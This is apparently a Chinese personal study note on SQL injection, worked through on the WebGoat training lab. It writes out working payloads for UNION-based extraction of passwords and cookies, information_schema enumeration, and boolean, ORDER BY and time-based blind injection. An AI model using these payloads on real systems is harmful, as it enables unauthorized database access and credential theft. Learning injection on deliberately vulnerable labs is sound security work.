第一次认真的学习 sql 注入,拿着 WebGoat 试试水吧。
WebGoat后台数据库为hsqldb
,资料比较少,可能有整理不全面的地方,以后慢慢补上
SQLInjection初尝试
基本注入
首先尝试最简单的注入:
现在我们已知后台的 SQL 查询语句如下
1 | "select * from users where name = '" + userName + "'"; |
这里我们只需要让where
的判断条件恒为真就能够将所有的users
取出来。在没有语法错误的前提下,我们可以写成如下形式:
1 | select * from users where name = '' or 1=1 -- '" |
--
表示注释,这里把后面的'
注释了,从而避免了 sql 的语法问题
获取其他的表
从第一个表中我们得到表的大致信息:
1 | USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, |
然后第二张表的内容是:
1 | CREATE TABLE user_system_data (userid varchar(5) not null primary key, |
此时我们要利用第一关中的漏洞读取第二张表的内容。利用第一关泄露的信息,首先先无脑试一下:
1 | Snow' union * from user_system_data -- |
此时会发现,我们的表列数不一样。于是我们更改一下写法:
1 | Snow' union select userid, user_name, password, cookie, 1, 2, 3 from user_system_data -- |
这个时候居然报错提示incompatible data types in combination
,猜测是对不同类型的数据进行了检测之类的。于是修改注入逻辑为:
1 | Snow' union userid, NULL, NULL, NULL, NULL, NULL, NULL from user_system_data -- |
发现还是报错,于是猜测userid
为 int 类型。使用cast
进行强制类型转换,发现猜测没错
1 | Snow' union select cast(userid,int), NULL, NULL, NULL, NULL, NULL, NULL from user_system_data -- |
之后的类型也按照类似的猜测方法,得到最后的注入语句:
1 | Snow' union select cast(userid as int), user_name, password, cookie, NULL, NULL, 1 from user_system_data -- |
数据库名,表名的得知方法
(这段参考至队友skywalker_z)的教学以及xm1994指点,感谢大佬
的指导
有权限访问information_schema
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。 有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。information_schema
提供了访问数据库元数据的方式,这里只要把它当成一张表就好。
通过利用这个表,我们就能够从里面拿到当前我们能够接触到的数据库以及表,表中的列等等。
显示数据库名
1 | SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata |
显示数据库表名
1 | SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'database_name |
显示列名
1 | SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name' |
没有权限访问infomation_schema
这个时候我们要结合着报错来使用。这个报错可以不是明显的报错,可能是页面的回显出现问题(利用盲注里面的sleep
函数),或者是某种特殊的返回。我们这个时候可以利用条件语句来进行猜测。这里提一下hsqldb
这个数据库,这个数据库的操作和别的有点不一样:
1 | select case when(SELECT ip FROM SERVERS WHERE hostname%3d'webgoat-prd') LIKE 'S%25' then 1 else 2 end from information_schema |
这里解释一下里面的内容的含义:
%3d
和%25
: 这个是=
和%
的url
编码,有时候用=
好像也是可以,但是传输的数据中不允许只出现一个%
,所以要使用url编码。- LIKE: 也就是字符串比较,这里
hsqldb
的语法是case when condition then 1 else 2 end
。这里的 condition 里面能够放select expression + 比较类型的语句
。 - “S%25”: 这个
%25
(也就是%
)是sql
里面的任意字符替换的意思,和正则中的*
一样。
这里的意思就是猜测当前ip
列的第一个字符是不是S
,是的话就调用1语句,否则调用2语句。一般来说可以利用行数量不等的方式,分别使用合法类型和*
来实现猜测正确的时候回显正常,猜测错误的时候回显报错
这个类型和网上的MYSQL
的那个差不多:
1 | if(substring(user(),1,1)=0x72,1,0x00) |
也就通过在2处填写会发生发错类型的语句,然后猜测当前的条件是否为真,从而实现数据猜测。这个猜测的过程可以套到上述的语句里面:
1 | select case data when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end |
套入之后,如果我们返回了1,则说明此时猜测正确,否则就是猜测错误。
order by
order by 猜测列表
假设此时我们不知道有哪些列,那么我们此时可以通过order by
这个关键字来进行列的猜测:
1 | order by 1 |
此时如果不会报错,说明当时的数据就按照第一列的顺序进行了排列,那么此时就存在当前列。我们可以一直修改指导知道出现报错,就能够知道当前有多少列了。
order by 漏洞利用
这个漏洞的形式一般是:
1 | "select * from user order by '" + order_id + "'" |
这个地方的注入点一般都是一个利用之前提到的case when
的方法进行数据猜测:
1 | case when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end |
通过爆破的方法能够猜测到需要的数据。
实战:WebGoat SQL Injection (mitigations)
这道题我之前用了一些办法把库的名字给搞到了,库名是SERVERS
。这个题目从题目内容中可以猜测到,可能有一个ip
地址不符合需求没有被显示出来。(后来看到答案之后知道是因为ip不再一个域内)。然后利用这个猜测的办法,把一个存在数据库中,但是本身并没有被传输到前台的数据传输了过来。
1 | import requests |
盲注
之前的题目中,我们有报错提示,所以能够根据出错一点点的尝试我们的 sql 语句。然而很多时候报错信息是会被关闭的,这个时候我们就不能够通过报错信息调整我们的 sql ,甚至不知道这个地方是否存在注入点。
比如说,我们有一个可能存在注入位置的url
1 | https://my-shop.com?article=4 |
这种时候,我们有两种办法来判断注入。
Content baseed
这个article
是不是注入点呢?我们可以通过尝试以下两种情况来判断:
1 | article=4 AND 1=1 |
1 | article=4 AND 1=2 |
如果第一种情况下,网页能够继续显示内容,而第二种情况不能正常显示的话,就说明这个article
的位置上存在注入。
Time based
这种方法可以通过返回的时间长短来判断:
1 | article = 4; sleep(10) -- |
盲注得到信息
这里
特殊符号/关键字
注释符号
--
: 用来将当前语句的后方内容全部注释掉
/**/
: 将包括在其中的内容注释掉
+
: 用于连接不同的字符串
连接关键字
union
: 可以将两张表的查询结果合并。在注入中可以实现查询另一张表的功能。不过前提是当前的列数相同,列属性也要相同
sql 函数
cast( colunm as types)
:将 column 中的数据转换成 type 类型。